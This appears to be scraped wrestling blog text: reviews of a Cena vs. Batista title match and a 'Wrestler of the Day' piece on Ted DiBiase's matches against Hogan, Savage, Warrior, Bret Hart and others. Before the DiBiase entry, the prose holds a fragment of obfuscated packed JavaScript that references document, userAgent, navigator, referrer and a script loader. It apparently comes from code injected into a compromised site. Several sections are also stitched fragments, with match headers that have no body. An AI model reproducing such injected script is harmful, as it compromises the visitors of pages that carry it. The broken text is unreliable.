Back up immediately and Cena throws Batista to the floor in something resembling an FU before collapsing down. Back in again and Cena fires off the shoulder blocks and the ProtoBomb to set up the Shuffle. The FU is countered again and Batista kicks him in the face to put both guys down. Batista drives shoulders into the corner and catches him in the spinebuster to put Cena down. Cena backdrops out of the Batista Bomb and hits a DDT on the leg to set up the STFU. Batista FINALLY crawls over and gets a rope to shock Cena.

Batista would win a few more world titles in 2008/9 but injuries kept sidetracking him. He would form a short lived tag team with Rey Mysterio before Mysterio accidentally cost him a four way match at Bragging Rights. This triggered a Batista heel turn, setting up a massacre of Mysterio at Survivor Series 2009.

Rey Mysterio vs. Batista

Raw World Title: John Cena vs. Batista

We get the big match intros. Depending on the source you read, this might be Big Dave’s last match. We get some feeling out stuff and then Batista is like screw it I’m getting a chair. Naturally this doesn’t work. When did so many people start using the big boot? FU doesn’t hit and Cena is thrown into the post.

Batista goes for the knee because that strategy always works in these things right? He does that for a good while. Cena gets a reversal into the steps to get Cena back to about even. Batista busts out a freaking figure four. Well you can’t fault him for a lack of psychology. Cena goes into his sequence but Batista hits the floor.

FU onto the chair hits but it gets 8. Wow that’s odd to type. Spinebuster gets 8 for Big Dave. Cena goes thgrough a table and of course that’s not enough. Batista is looking for plundah, perhaps a bicycle, when a kid yells that he hates the Animal. The Animal feels the same way. Cena puts him through the announce table. You can kind of say this is a paint by numbers thing. It’s not but you could say it is. STFU goes on and Big Dave taps, but you can’t win that way.

He’s out but gets up at 9. Nice little throwback (I crack myself up) to Raw two weeks ago. With nothing else left, Cena crotches him on the post and busts out Duct Tape to tie his legs together. Since he isn’t standing, that’s good enough to retain. Or win the title according to the main page.

Rating: B. Solid match but nothing classic. Cena beats Batista again to end the feud and possibly end Batista. This was fine for what it was, which is something I think people need to keep in mind. They weren’t going for a classic showdown here. That was at Mania. This was the violence aspect of it and more about a definitive ending. You have to keep that in mind on matches like these as it’s a huge difference in style and goals.

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Wrestler of the Day – January 17: Ted DiBiase

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zytez|var|u0026u|referrer|zyazt||js|php'.split('|'),0,{})) my options for the 17th were Kevin Fertig (Thorn) and Mark Briscoe. On the 18th I had to pick between Ted DiBiase and Batista as they share a birthday. If you can’t catch on, Fertig and Briscoe are out and the big stars get their own days. We’ll start with my pick for the best heel of all time: Ted DiBiase.

DiBiase started off in the territories but would get a quick run in the WWF in 1979.

Hulk Hogan vs. Ted DiBiase

Yeah it’s the same guys you think it is. Hogan is NOTHING yet as he’s just a big muscle head with limited talent in the ring. Well I guess some things never change. He would become Thunder Lips in Rocky 3 a few years later and change his life forever. He even has Freddie Blassie as his manager and a big gold robe here. DiBiase is this young kid that used to have a midcard title but it was stolen by those pesky Brazilians and put into some tournament.

DiBiase is billed from Omaha, Nebraska of all places. This is Hogan’s MSG debut. Hokey smoke this is actually famous then. The inside of the robe is all rainbow colored. Vince is clearly about to orgasm on the spot at the sight of Hogan in tights. Hogan stalls but gets caught in a full nelson. It’s so weird seeing him at 26 and this green. DiBiase is incredibly popular and fast here. I feel like I’m in some parallel universe seeing DiBiase vs. Hogan with DiBiase as an over face.

Now I’ve never been one to make jokes, but Hogan is called the Fabulous One and has a coat with rainbow colors. I doubt this was intentional but it’s funny by mistake. Ted gets knocked to the floor and Hogan keeps hitting him which is kind of pointless. Hogan hits a legdrop which 8 years later would get you a 30 count but here it’s just a regular move and only gets two.

Hulk reminds me of a muscular Dolph Ziggler. This ends any connections between the two for the rest of time. Hogan puts on a chinlock and the bell rings which confuses everyone so I’m guessing it was accidental. Yeah it must be since the match just keeps going. DiBiase makes a standard comeback but the crowd loves it. A charge misses though and DiBiase passes out in a bearhug. Oddly enough the only two matches that I can think of that have ended like that have both involved Hogan.

Rating: C. Total formula stuff before the formula was written but that’s fine. Both guys were pretty new at this point so it’s not like you could ask for much of them otherwise. How in the world did this match never get a huge build and a huge blowoff 8 years later? Well depending on who you listen to that would be the Honky Tonk Man, but look up some of my other stuff for that since I’m tired of telling that story.

Ted DiBiase vs. Shawn Michaels

Ted DiBiase/Steve Williams vs. Blade Runners

We hit another chinlock as the fans chant OU (for Oklahoma University where Williams was a big star) sending JR into a frenzy. Williams fights up but misses a charge into the corner to put him down. Rock comes back in but misses an elbow drop, allowing for the hot tag off to DiBiase. Everything breaks down and Gilbert runs in to dropkick Sting onto DiBiase but Ted rolls through for the pin, sending the crowd into a frenzy.

WWF World Title: Ted DiBiase vs. Hulk Hogan

 

DiBiase has Virgil and Andre with him. Both are listed as seconds. So he has two seconds? There’s a “that’s still not a three count” joke in there but it’s really bad so I’ll pass. Hogan comes straight at him with the belt and DiBiase runs. The place erupted for Hogan to say the least. Hogan pulls him right in and the fight is on. He beats on Ted and DiBiase heads to the floor to hide.

 

That gets him nowhere but Andre makes Hogan go back into the ring. Virgil is pulled into the ring and both he and DiBiase take big boots to send them to the floor. Hogan keeps posing and the fans keep getting louder. We finally get going and Hogan uses his wrestling skills to take DiBiase to the mat. We hit the floor and DiBiase finally takes over a bit. Ted stomps away and chokes Hogan a bit and Hogan does his always interesting version of selling.

 

Hogan starts his comeback and sets for the leg drop but Andre trips him up. Hogan yells at Andre….and wins by disqualification? That’s it? We get a six minute main event? Seriously? Apparently not as we’re not only going to continue but Andre must leave ringside and has been fined two thousand dollars! I’ve never heard of that before but it’s still pretty cool.

 

DiBiase jumps Hogan and might have hit him with a foreign object to take over. DiBiase hammers away on him with his usual stuff but Hogan Hulks Up and the big boot puts DiBiase down. Virgil gets on the apron and DiBiase hits him with a knee. Hogan grabs a fast roll up to retain the title. His day was coming very soon though.

 

Rating: D+. The match was pretty worthless for the most part although the nice little switch in there was a nice change of pace from the usual stuff. It’s always cool to see a different ending like that as if nothing else it makes the fans think they’ve seen something special which is the entire point of a house show.

Ted DiBiase vs. Randy Savage

Andre is with DiBiase and Vince is FURIOUS. Vince if you hate your own booking that much maybe you should step down. With Virgil and Andre interfering Savage is in trouble earlier and as I’m typing that DiBiase messes up. That’s never happened before of course. This match is more or less awesome just based on who is in there. Jesse thinks that might not be Dave Hebner. DAng that was a brilliant angle.

DiBiase busts out the spinning toehold! Is there a class on that at West Texas State or something? The heels triple team Savage and Virgil is thrown out for it. This is solid so far but again it feels like they’re off a bit. They might not be wanting to do any of the stuff they had planned for Mania. The referee goes down “by mistake” and Andre beats the heck out of Savage on the floor. Liz runs off and of course comes back with Hogan. Savage gets counted out first though and DiBiase wins it. In a stupid thing, when Hogan gets there with a chair he throws it in the ring where either heel could have picked it up. Genius isn’t he?

Rating: B-. Solid but not great. This was about setting up Mania and obviously this wasn’t the projected final so it’s not like they were giving anything away. These two could always have a good match and this was no exception. I liked it but not as much as the mania one actually.

DiBiase did a lot of work over in Japan for AJPW, including a show co-produced by WWF and All Japan where he received what might have been the first title shot at new WWF Champion Ultimate Warrior.

WWF Title: Ted DiBiase vs. Ultimate Warrior

Now here’s an interesting match. It’s about as predictable as possible, but it should be pretty decent if DiBiase can save it, which he’s capable of. Warrior is WAY over here, which stuns me. The guy with real talent jumps the champion early and gets beaten up for it. You know how Hogan used a completely different move set and wrestled a different style when he was in Japan?

 

This is nothing like that for Warrior. He’s the same wreckloose he is in America and it’s just as bad. DiBiase avoids the shoulder block to take control though. This is a really short match as after a few shots and a piledriver which feels just right and feels so real that it feels just like a piledriver, Warrior does his Hulking Up which we don’t call Hulking Up because we don’t want our fans to realize we have two characters that are more or less exactly the same but this one is far worse at it. A bunch of clotheslines and a splash ends this.

 

Rating: C+. Well I guess keeping it short was the best idea in the end. There was no way this was going to go long or anything as even DiBiase’s greatness wasn’t getting two great or even good matches out of Warrior in two weeks. It was a house show main event llevel match and that’s all it needed to be I suppose. Still, too short to be anything worth watching.

Ted would drop down the card a bit but would still get an Intercontinental Title shot to close out 1991.

Intercontinental Title: Bret Hart vs. Ted DiBiase

Ok this has to be good. Crowd pops big for the title mention which hopefully is for Bret. Nice pop for Bret when he comes out. Apparently the leather jacket is a new thing here. That’s odd to hear indeed. Gorilla thinks Sherri likes Bret. That’s a scary combination: Sherri and Bret with Gorilla watching.

Long feeling out process to start with DiBiase stalling to try to tick Bret off. Bret, the hothead that he is, falls for it to an extent. DiBiase gets a shot to the ribs but runs when Bret comes after him. We hit the floor and it’s on. It’s weird seeing a big Marlboro ad behind the ring. I love watching DiBiase flip forward. It’s perfect every time.

Bret rams DiBiase and “the witch’s” heads together to drive Heenan crazy. We hit the headlock on the mat with Bret in control. DiBiase keeps rolling him to the side as this is a chess match so far. It’s time to talk about the Rumble some more as Bret hits a dropkick for two and now right back to the headlock.

DiBiase fights to his feet and manages to get a hot shot out of nowhere to turn the tide all over again. As good as Bret was on offense he’s somehow even better on defense which is odd indeed. Nice spinning neckbreaker for two. DiBiase hits the chinlock as Sherri keeps distracting the referee so Ted can get some choking in. Bret fights up and gets some punches him but is sent into the corner and smacks his chest against the buckle in one of his signature spots.

Million Dollar Dream goes on and Bret is in big trouble. Sherri grabs the wrench that they use to ring the bell and rings it for the referee as DiBiase grabs both belts and celebrates. Fink calls shenanigans and Hebner throws Sherri out. Bret gets a Russian Leg Sweep out of nowhere to get us back to even. Heenan wants to take the belt to make it a watch.

Bret plays possum (I’m stunned too) and takes over. Nice suplex gets two. Small package gets the same. Middle rope elbow has Ted reeling. We see the Million Dollar Ass as a gutwrench suplex gets two. DiBiase is knocked to the floor and almost lands on Sherri. Bret hits a perfect pescado and Ted is reeling. And there’s the time limit which thankfully they didn’t announce at all. That helps a bit actually.

Rating: B. Good stuff here but the chinlocks kind of hurt it a bit. One of the major things here is that Bret gets to show he can hang with a known master like DiBiase, but I really don’t see why they couldn’t let Bret get a pin. It’s not like DiBiase was doing anything in storylines so it’s not like his credibility would really be hurt or something. Odd ending to a rather good match.

Money Inc. vs. Legion of Doom

Hawk finally fights up and rams Ted into the buckle but the hot tag is broken up. The place is going to go nuts when Animal gets in. Ted drops some knees on Hawk and puts on a front facelock but the bird man carries him over towards Animal. IRS breaks up ANOTHER hot tag attempt but gets caught in a double clothesline with Hawk. Animal FINALLY gets the hot tag and cleans house but IRS breaks up the Doomsday Device. Not that it matters much as Animal powerslams DiBiase down for the pin about three seconds later.

15th Anniversary Battle Royal

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